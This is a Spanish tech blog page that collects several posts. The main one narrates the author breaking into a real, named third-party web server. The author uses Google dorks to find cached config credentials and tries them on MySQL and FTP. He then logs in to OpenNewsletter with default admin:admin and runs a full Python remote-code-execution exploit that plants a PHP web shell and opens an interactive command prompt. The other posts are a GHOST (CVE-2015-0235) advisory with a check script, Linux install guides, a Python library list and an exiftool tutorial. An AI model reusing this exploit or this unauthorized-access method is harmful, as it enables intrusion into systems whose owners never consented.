Del Spam a la Intrusion

9:36 0 Comments A+ a-

 
Prologo

Hacia rato que no le echaba una ojeada al spam de mi gmail y esta vez tenia el basurin lleno, es que muchas veces uno puede encontrarse envuelto en alguna aventurita que te alegre el dia o no, en este caso mas que nada fue un poco de diversion. En fin, mientras leia los subject de los correos me pare en uno que decia: “Your account has ben blocked”.



Era un mail “supuestamente” eviando desde blockchain, pero como no tenia idea que servicio estaba prestando al publico me fui directamente a la url del sitio.

https://blockchain.info/



La verdad es que nunca me habia logueado en la aplicacion (segun recuerdo), es mas no tengo una cuenta referenciada a este tipo de servicios en general. Al instante y era obvio deduje que se trataba de un caso de phishing, asi que sin dudarlo segui el enlace acortado por goo.gl para afirmar lo antes predicho.



Por desgracia el path del fake no se encontraba, asi que por curiosidad quize seguir por mi parte para cersiorarme de si habia sido movido a otra ruta o es mas, para ver si lograba captar otros tipos de fraudes montados en el mismo hosting, pero…como hiba a saber eso? …

Un poco de Google Hacking
Lo primero que hice fue arrancar a jugar con goo*, buscando diversas extenciones de ficheros, hasta que di con algo interesante.

Código: Text
  1. site:klsicci.com.my ext:txt



Archivos de configuracion en texto plano!, lamentablemente al pedirlos no se encontraban mas en la ruta, pero si google los tenia, habria que negociar con el.

Código: Text
  1. cache:http://klsicci.com.my/admintest1/config/klsiccic4.txt



Anque las credenciales podian ser viejas o con suerte, quizas, seguian en uso, no perdia nada con probar.

Trate de establer una conexion por mysql pero me nego el acceso, lo mas probable es que solo admitia conexiones desde localhost o bien mediante una lista de ips habilitadas.

Ya que conocia el user a travez del path /home/klsiccic/ informacion que habia obtenido de los ficheros cacheados, intente loguearme por ftp mediante el password de la db (Me he encontrado con muchos hostings que usan pass global para diferentes servicios), pero esta vez el ftp me reboto.

Todavia faltaba mucho por analizar, asi que segui probando con goog*.

Queria un acceso rapido, entonces pense que podria estar cacheada la webshell del atacante, si es que realmente habia usado una para obtener acceso.

Luego de persistir con un par de strings

Código: Text
  1. site:klsicci.com.my && inurl:shell



Di con el objetivo, pero nuevamente el 404.

Por un lado me incitaba a seguir buscando ya que tenia el title de la webshell que podria ser la herramienta del spammer. Hasta ahora no queria cersiorarme por completo hasta estar seguro de que fuera el autor del echo, tal vez la webshell podria pertenecer a otro intruder que nada tenia que ver con el scam.

Largue otra busqueda.

Código: Text
  1. site:klsicci.com.my && intitle:"=[ 1n73ct10n privat shell ]="



Y esta vez tenia un lindo historial, pero todos apuntaban a la misma url fallida.

Aprovechando la lista obtenida, encuentro entre los path que se le pasaban como parametro a la ex shell, un dir de nombre /opennews.





Opennewsletter es una aplicacion open-source para administrar listas de mails.

OpenBUGletter


Ravisando en exploit-db encuentro un reporte de multiples vulnerabilidades para las versiones <=2.*. Una de ellas y por cierto la mas critica hablaba de un RCE en la plataforma.

http://www.exploit-db.com/exploits/2981/

Para ser aprovechado requieria de acceso a la administracion, investigando un poco en el source de opennews el cual lo obtuve de la siguiente web.

http://www.sourcexref.com/xref/opennewsletter/nav.html

Veo que las credenciales del admin son tomadas desde config.php y el user, pass por defecto es admin:admin.



Por suerte el fichero no habia sido retocado y pude obtener acceso.



Por razones que desconocia el exploit no lograba darme una shell en el sistema, asi que me puse a leer el codigo para ver donde se daba el bug, mirando en subscribers.php se puede ver como se abre el fichero data.dat y se ingresa el contenido de la variable $_POST[‘email] sin sanitizar.


En settings.php se permite renombrar el mismo a travez de la variable $_POST[‘db_file’] que al igual que la anterior no posee ningun tipo de filtro seguro.



Ahora que ya tenia una idea de como inyectar codigo, lo unico que quedaba era incrustar un payload en data.dat y este a su vez renombrarlo a *.php, mirando nuevamente el exploit me doy cuenta que para ingresar el codigo hace una peticion a subscribe.php (fichero que no existe en esta version de opennews (2.5.1)), ademas del pasaje de parametros por GET.



Asi que decidi codear el mio propio para realizar la explotacion.

Código: Python
  1. #!/usr/bin/env python
  2. # Description: Opennewsletter remote code execution exploit
  3. # Version tested: 2.5.1
  4. # Author: q3rv0
  5.  
  6. import urllib2
  7. import urllib
  8. import re
  9.  
  10. class opennews_exploit:
  11.  
  12.     def __init__(self, host):
  13.         self.host=host
  14.         cookies=urllib2.HTTPCookieProcessor()
  15.         opener=urllib2.build_opener(cookies)
  16.         urllib2.install_opener(opener)
  17.  
  18.     def postSend(self, parametros, path):
  19.         self.headers={"User-Agent":"Mozilla/5.0 (X11; Linux i686; rv:24.0) Gecko/20140319 Firefox/24.0 Iceweasel/24.4.0"}
  20.         self.parametros=urllib.urlencode(parametros)
  21.         self.path=path
  22.         self.post=urllib2.Request(self.host+self.path, self.parametros, headers=self.headers)
  23.         return urllib2.urlopen(self.post)
  24.  
  25.     def getOldDbFile(self):
  26.         self.get=urllib2.urlopen(self.host+"settings.php").read()
  27.         self.name=re.findall("name=old_db_file value=([\w\.\-_]+)>", self.get)
  28.         return self.name[0]
  29.  
  30.     def verifyShell(self, path):
  31.         try:
  32.             self.path=path
  33.             self.code=urllib2.urlopen(self.host+self.path)
  34.             return self.code.getcode()
  35.         except:
  36.             pass
  37.  
  38. target="http://pwnedhost.com/opennews/"
  39. shell="shell.php"
  40. user="admin"
  41. passwd="admin"
  42. admin_name="Your Name"
  43. admin_email="you@domain.com"
  44. charset="UTF-8"
  45. site_url="http://www.yourwebsite.com"
  46. opennews_directory="/"
  47. payload="<?php echo `$_POST[exec]`; ?>"
  48.  
  49. rce=opennews_exploit(target)
  50.  
  51. def get_shell(shell):
  52.     print "[*] Obteniendo la shell :)\n"
  53.     while True:
  54.         command=raw_input("$~: ")
  55.         print "\n"+rce.postSend({"exec":command}, shell).read()
  56.  
  57. if rce.verifyShell(shell)==200:
  58.     get_shell(shell)
  59.  
  60. else:
  61.     print "\n[*] Logueando...\n"
  62.     rce.postSend({"username":user, "password":passwd}, "index.php?action=login")
  63.     print "[*] Insertando el payload...\n"
  64.     rce.postSend({"email":payload}, "subscribers.php?action=add")
  65.     print "[*] Renombrando la shell...\n"
  66.     rce.postSend({"admin_username":user, "admin_password":passwd, "admin_name":admin_name, "admin_email":admin_email, "charset":charset, "site_url":site_url, "opennewsletter_dir":opennews_directory, "old_db_file":rce.getOldDbFile(), "db_file":shell, "action":"update"}, "settings.php")
  67.     get_shell(shell)
  68.  

Cabe decir que el codigo del exploit es a modo de POC, solo fue testeado en la version 2.5.1, podria no funcionar en versiones anteriores.

run exploit



Listo! ya estaba dentro.



Buscando rastros del scam.

Luego de darle vueltas durante un rato, entrar y salir de directorios, darle a find como loco, no pude dar con el phishing, muchas veces las aventuras nunca terminan como uno quiere, eso terminaba por confirmarme de que el admin se habia encargado de el. Pero por otra parte encontre ciertos ficheros que comprometian aun mas al spammer/intruder.

El pequeño arsenal del defacer.



Ojala les haya gustado esta hackanecdota, saludos!

Fuente: http://q3rv0.github.io/blog/2014/12/15/del-spam-a-la-intrusion/
 
 

Ghost, nuevo 0day en linux (CVE-2015-0235)

9:40 0 Comments A+ a-


Qualys ha publicado una vulnerabilidad grave de desbordamiento de buffer en la función __nss_hostname_digits_dots() usada por otras funciones tan comunes como gethostbyname() y gethostbyname2() de glibc, que un atacante podría provocar al intentar resolver un nombre de host inválido (/etc/hosts o DNS).

Concretamente la función __nss_hostname_digits_dots() no calcula correctamente el tamaño del buffer que tiene que reservar y, bajo ciertas circunstancias, se pueden sobrescribir datos arbitrariamente mediante este desbordamiento. Aunque en principio sólo se pueden sobrescribir 4 bytes de memoria, se ha demostrado que son suficientes para evadir mitigaciones como ASLR y PIE y conseguir la ejecución remota de código.
En la práctica, esto se podría explotar solicitando resolver un nombre de host lo suficientemente largo (al menos 1KB) que cumpla los requisitos normales de nomenclatura (a.b.c.d).

Esta vulnerabilidad bautizada como GHOST (por su paralelismo con el nombre de la función afectada) y con código CVE-2015-0235, puede hacer que el atacante tome el control de un servidor Linux con el usuario de la aplicación que está ejecutando la resolución de nombre: Apache, Exim, Sendmail, Nginx, MySQL, TAZAS, Samba, ... ¡la lista es enorme!

Las versiones afectadas son:

- glibc 2.2 a 2.17 (incluidas) son vulnerables
- glibc 2.18 a 2.20 (incluidas) NO son vulnerables
- las versiones anteriores de glibc (<= 2.1.3) NO son vulnerables

Mediante el siguiente script en C hecho por la Universidad de Chicago podemos comprobar si somos vulnerables:

Código: C
  1. GHOSTTEMP=$(mktemp /tmp/ghost.XXXXXXXXXXXXXX)
  2. GHOSTEXEC=$(mktemp /tmp/ghost.XXXXXXXXXXXXXX)
  3. cat <<"EOF" > $GHOSTTEMP
  4. #include <netdb.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <errno.h>
  9.  
  10. #define CANARY "in_the_coal_mine"
  11.  
  12. struct {
  13.   char buffer[1024];
  14.   char canary[sizeof(CANARY)];
  15. } temp = { "buffer", CANARY };
  16.  
  17. int main(void) {
  18.   struct hostent resbuf;
  19.   struct hostent *result;
  20.   int herrno;
  21.   int retval;
  22.  
  23.   /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  24.   size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  25.   char name[sizeof(temp.buffer)];
  26.   memset(name, '0', len);
  27.   name[len] = '\0';
  28.  
  29.   retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
  30.  
  31.   if (strcmp(temp.canary, CANARY) != 0) {
  32.     puts("vulnerable");
  33.     exit(EXIT_SUCCESS);
  34.   }
  35.   if (retval == ERANGE) {
  36.     puts("not vulnerable");
  37.     exit(EXIT_SUCCESS);
  38.   }
  39.   puts("should not happen");
  40.   exit(EXIT_FAILURE);
  41. }
  42. EOF
  43. gcc -x c $GHOSTTEMP -o $GHOSTEXEC
  44. $GHOSTEXEC
  45. rm -f $GHOSTTEMP $GHOSTEXECPaste your text here.

En caso que seamos vulnerables tendremos:

(...)
# gcc -x c $GHOSTTEMP -o $GHOSTEXEC
# $GHOSTEXEC
vulnerable
# rm -f $GHOSTTEMP $GHOSTEXEC

Las siguientes distribuciones de Linux tiene versiones vulnerables de glibc:

Código: Text
  1. Ubuntu
  2. 10.04 LTS     fix available     fixed in libc6 2.11.1-0ubuntu7.20
  3. 12.04 LTS     fix available     fixed in libc6 2.15-0ubuntu10.10
  4. 14 and newer     not vulnerable
  5.  
  6. Debian
  7. 6.x - squeeze     vulnerable
  8. 6.x - squeeze (LTS)     vulnerable
  9. 7.x - wheezy     vulnerable
  10. 7.x - wheezy (security)     fix available     fixed in glib 2.13-38+deb7u7
  11. 8.0 - jesse     not vulnerable
  12. dev - sid     not vulnerable
  13.  
  14. Red Hat Enterprise
  15. fix information
  16. Desktop (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
  17. Desktop (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
  18. HPC Node (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
  19. HPC Node (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
  20. Server (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
  21. Server (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
  22. Server EUS (v. 6.6.z)     fix available     fixed in glibc-2.12-1.149.el6_6.5
  23. Workstation (v. 6)     fix available     fixed in glibc-2.12-1.149.el6_6.5
  24. Workstation (v. 7)     fix available     fixed in glibc-2.17-55.el7_0.5
  25.  
  26. Mint
  27. 13 “Maya”     fix available     Tracks Ubuntu 12.04, should get update from Ubuntu servers
  28. 17 “Qiana”     not vulnerable
  29. 17.1 “Rebecca”     not vulnerable
  30.  
  31. Gentoo
  32. libc information
  33. stable     not vulnerable      uses glibc 2.19-r1
  34.  
  35. Arch
  36. fixed in all releases since August 2013, discussion here and package info here
  37. anything recent     not vulnerable
  38.  
  39. Fedora
  40. discussion
  41. 19 and earlier     vulnerable     uses glibc 2.17 and earlier
  42. 20     not vulnerable     uses glibc 2.18
  43. 21     not vulnerable     uses glibc 2.20
  44.  
  45. Mandriva Linux
  46. all     vulnerable     appears to use glibc 2.16
  47.  
  48. openSUSE
  49. vulnerability information
  50. Enterprise 11 & older     vulnerable
  51. Enterprise 12     not vulnerable
  52. openSUSE 13.1 & newer      not vulnerable
  53.  
  54. Slackware
  55. current     not vulnerable     uses glibc 2.20
  56. 14.1 and earlier     vulnerable     uses glibc 2.17 and earlier
  57.  
  58. Knoppix
  59. information about glibc versions
  60. 7.2 and earlier     vulnerable     uses glibc 2.17 and earlier
  61. 7.4 and later     not vulnerable     uses glibc 2.19 and later
  62.  
  63. Slax
  64. all     vulnerable     appears to use glibc 2.15

Lo llamativo de esta vulnerabilidad, sobre la que se informó públicamente el día 27 de enero, es que estaba en glibc desde el año 2000 y no fue resuelta hasta 2013; sin embargo, la corrección no se marcó como de seguridad, por lo que distribuciones de largo recorrido como las LTS de Ubuntu, Debian o RHEL, no aplicaron el parche.

Sea como fuere, si tu distribución tiene ya parches disponibles aplicalos cuanto antes:

- Actualiza a glibc 2.18 o más reciente
- Reinicia todos los procesos que cargan la biblioteca glibc
- Corrige los nuevos binarios de software que estén enlazados estáticamente contra versiones vulnerables de la biblioteca glibc.

Fuente: Hackplayers

Evita que se duerma tu PC con Caffeine

10:10 0 Comments A+ a-


Caffeine es un programa que sirve para que impedir que la computadora se duerma o se bloquee mientras hay otros programas corriendo. Como por ejemplo, cuando estamos viendo una película y se bloquea la pantalla con el bloqueo automatico. Ahora con Caffeine podemos evitar este tipo de cosas.
Otro de los puntos a favor que tiene este programa, es que tiene una interfaz gráfica muy sencilla, la que permite crear listas de programas con prioridad, lo que evitará el bloqueo de la pantalla.

Para la instalación de este programa, tipeamos lo siguiente en una consola:
$ sudo add-apt-repository ppa:caffeine-developers/ppa
$ sudo apt-get update
$ sudo apt-get install caffeine
Para usarlo, vamos al menú de inicio de nuestro sistema operativo y escribimos Caffeine y este lo abrirá

15 librerías para Python super utiles

9:52 0 Comments A+ a-



Python es un lenguaje de programación de alto nivel que podemos usar para realizar todo tipo de tareas en múltiples plataformas. Su filosofía hace énfasis en que el código que escribamos sea lo más legible posible y su sintaxis permite expresar nuestra idea en menos líneas de código que otros lenguajes como Java o C++. Es un lenguaje que está diseñado para ser ejecutado mediante un intérprete, en contraste con otros lenguajes compilados. Es multiparadigma, ya que soporta orientación a objetos, programación imperativa y programación funcional. Es un lenguaje interpretado, usa tipado dinámico y es multiplataforma.

Particularmente, pienso que Python es una opción magnífica para todo aquel que quiera iniciarse en la programación. Al contrario que en otros lenguajes, no llenaremos el código con símbolos, puntos y coma o corchetes, pues la sintaxis es muy limpia y resulta agradable de leer. Pero si hay algo que de verdad caracteriza a este lenguaje de programación, es su capacidad para ser utilizado en múltiples propósitos distintos. Para ello, nos serviremos de diferentes librerías que añadirán funciones adicionales a este lenguaje.

La comunidad de Python crea cosas que son verdaderamente útiles. En este post, he querido recopilar unas cuantas librerías interesantes que me han ido llamando la atención durante estos días. Sentiros libres de completar la lista con vuestros aportes en la sección de comentarios, estoy seguro de que entre todos crearemos una buena lista.

Librerías que no te puedes perder

librerias

En la siguiente lista encontraréis librerías para realizar propósitos de todo tipo. La idea es enlazar las librerías a la página oficial para que podáis encontrarlas fácilmente y proporcionar una breve descripción.



- Colorama: me gustaría empezar la lista con una librería que deberíamos tener siempre a mano. Su función es la de mostrar el texto con diferentes fondos y colores de una forma muy sencilla y sin quebraderos de cabeza. Muy recomendada si queréis hacer un script que sea visualmente atractivo.

- Kivy: cuando nos gusta un lenguaje de programación queremos usarlo en todas partes. ¿Y si os dijera que podemos crear apps para Android con Kivy? De hecho, este proyecto pone a nuestra disposición en Google Play ejemplos de apps creadas con Python y Kivy, e incluso el famoso juego 2048. Es una librería multiplataforma, también podremos crear aplicaciones multitouch en Windows, Mac OS X y Linux.
 
- PyWeather: si no estás contento con el formato en que muchos programas te muestran la información del tiempo, de invito a que pruebes esta librería. Nos da la posibilidad de recoger los datos de varias fuentes meteorológicas y mostrarlo a nuestra manera. Aquí os dejo un ejemplo.

- PyQt: es un binding de la biblioteca gráfica Qt para el lenguaje de programación Python, nos permite crear interfaces gráficas multiplataforma.
 
- PyGTK: esta librería nos permite crear programas de interfaz gráfica multiplataforma utilizando para ello GTK+.

- Para la programación de videojuegos: en este caso podríamos mencionar al conocido Pygame o también a Pyglet. Si combinamos estos con la librería Kivy mencionada anteriormente, seremos capaces de hacer juegos para Android. Nada mal, ¿verdad?

- Para las ciencias: uno de los campos en el que más se utiliza a Python es en estadísticas y para realizar estudios científicos. Aquí podemos mencionar a SciPy, un ecosistema con varios componentes enfocados en la matemática, ingeniería y las ciencias (IPython por ejemplo, una consola Python con esteroides). Si hablamos de bioinfórmatica sería obligatorio mencionar a BioPython. Para estadísticas podríamos combinar Python con el lenguaje de progrmación R, mediante RPy.

- Otras menciones de interés: hay tantas cosas diferentes que se pueden hacer con Python que es difícil seleccionar solo unas pocas librerías. PRAW crea un bot para Reddit, PyEphem localiza planetas y satélites basados en nuestra posición en la tierra y en la hora, NLTK crea programas en Python que interpreten el lenguaje humano.
 
 

Conky Manager: Cómo configurar conky fácilmente

9:34 0 Comments A+ a-


 Conky manager es la aplicación ideal para revisar y configurar tus temas conky en tu equipo. El gran problema es que con la actualización de Ubuntu a 14.04 no hubo actualización a nueva versión. Sin embargo tenemos novedades, con el mismo repositorio pero con una interfaz renovada.

Conky es una de mis aplicaciones de personalización favoritas. Hemos publicado varios temas y hemos enseñado cómo usarlo. Pero todavía puede ser confuso cómo usarlo, sobre todo cuando quieres agregar cosas buenas.

Y para esto existe una guía llamada Conky Manager, que es un front-end gráfico para Conky creado por Tony George y que permite configurar fácilmente nuestro entorno conky preferido y permite añadir opciones y temas adicionales.
Si te interesa instalar abre la terminal y escribe:

sudo apt-add-repository -y ppa:teejee2008/ppa
sudo apt-get update
sudo apt-get install conky-manager


Si tienes otras versiones de Linux puedes descargarlo desde el proyecto de Launchpad
Una vez instalado podrás usar escribiendo Conky Manager en el Dash de Unity:

Conky Manager: Cómo configurar conky fácilmente

Funciona muy fácil esto. Lo primero es elegir el tema eligiendo la opción widget la opción Browse. Puedes seleccionar varios a la vez:

temas

Una vez que ya hayas elegido los temas que deseas usar, en la Pestaña Edit puedes configurarlo a tu gusto. Tienes que tener claro que tienes que configurar un tema a la vez. En widget puedes elegirlo y abajo puedes configurar opciones como la ubicación o el tamaño. Esta configuración la puedes guardar como un tema especial y elegirlo a tu gusto.
Además puedes añadir temas nuevas. En la página de teeJee puedes descargar un pack adicional de temas de conky (¡más de 70!), así que tienes mucho para poder elegir y configurar.

Extracción de Metadatos con la herramienta "exiftool"

9:29 0 Comments A+ a-

¿Qué es FootPrinting?

FootPrinting es un tipo de recolección de información ya sea pública o privada, ejemplo los tipícos “Anonymous” sacan archivos, videos, información,etc, por eso se llama FootPrinting por sacar información.

¿Qué son MetaDatos ?

“MetaDatos” son archivos “importantes” que se filtran automaticamente desde ordenadores o aparatos inteligentes, ejemplo me encontre un telefono olvidado en algúna fiesta y me lo robo, lo prendo me voy a fotos y veo imagenes del dueño esos son datos importantes ya qué puedo saber quién es el dueño para darle el telefono que dejo olvidado, okey entonces comenzemos por ahora ando en mi computadora ya qué mi laptop la tengo cargando y por eso usare BackTrack 5 R3 com máquina virtual.
Abrimos la terminal y pondremos lo siguiente:

cd /pentest/misc/exiftool/ y le daremos enter y listo estamos dentro del directorio y colocamos lo siguiente

./exiftool -a /root/Desktop/anime.jpg

Ojo “Desktop” significa escritorio y “anime.jpg” es el nombre qué le puse al archivo formato “.JPG” y le daremos enter y nos aparecera lo siguiente.


Y como ven el día de modificación fue:

2014:02:15 20:37:56-05:00

información completa:

ExifTool Version Number         : 8.78
File Name                                 : anime.jpg
Directory                                  : /root/Desktop
File Size                                    : 532 kB
File Modification Date/Time     : 2014:02:15 20:37:56-05:00
File Permissions                        : rw-r–r–
File Type                                   : JPEG
MIME Type                               : image/jpeg
JFIF Version                              : 1.01
Resolution Unit                         : None
X Resolution                              : 1
Y Resolution                              : 1
Comment                                   : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 95.
Image Width                              : 1366
Image Height                             : 1024
Encoding Process                      : Baseline DCT, Huffman coding
Bits Per Sample                         : 8
Color Components                    : 3
Y Cb Cr Sub Sampling              : YCbCr4:2:0 (2 2)
Image Size                                 : 1366×1024